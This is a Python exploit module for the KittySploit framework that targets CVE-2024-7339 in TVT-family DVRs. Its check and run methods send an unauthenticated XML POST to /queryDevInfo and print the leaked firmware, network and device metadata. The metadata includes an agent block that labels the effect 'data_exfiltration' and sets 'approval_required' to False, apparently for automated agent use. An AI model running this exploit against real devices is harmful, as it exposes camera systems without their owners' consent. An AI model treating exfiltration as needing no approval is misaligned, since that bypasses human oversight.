TVT DVR Device Info Disclosure (CVE-2024-7339)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TVT DVR queryDevInfo disclosure (CVE-2024-7339)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TVT DVR Device Info Disclosure (CVE-2024-7339)',
        'description': (
            'Exploits CVE-2024-7339 in TVT/Provision-ISR/AVISION DVRs: unauthenticated '
            'POST /queryDevInfo leaks firmware, network, and device metadata.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-7339'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2024-7339'],
        'tags': ['tvt', 'dvr', 'camera', 'info-leak', 'vkev'],
        'agent': {
            'risk': 'medium',
            'effects': ['data_exfiltration'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals'],
            'chain': {'suggested_followups': ['scanner/http/cve_2024_7339_detect']},
        },
    }

    _PROBE = '<?xml version="1.0" encoding="utf-8" ?><request version="1.0" systemType="NVMS-9000" clientType="WEB"/>'

    def check(self):
        r = self.http_request(method='POST', path='/queryDevInfo', data=self._PROBE, allow_redirects=False)
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('softwareVersion', 'eth0')):
            return {'vulnerable': True, 'reason': 'TVT DVR info disclosure confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'queryDevInfo failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('TVT DVR not vulnerable')
            return False
        r = self.http_request(method='POST', path='/queryDevInfo', data=self._PROBE, allow_redirects=False)
        print_success((r.text or '')[:4000] if r else '')
        return True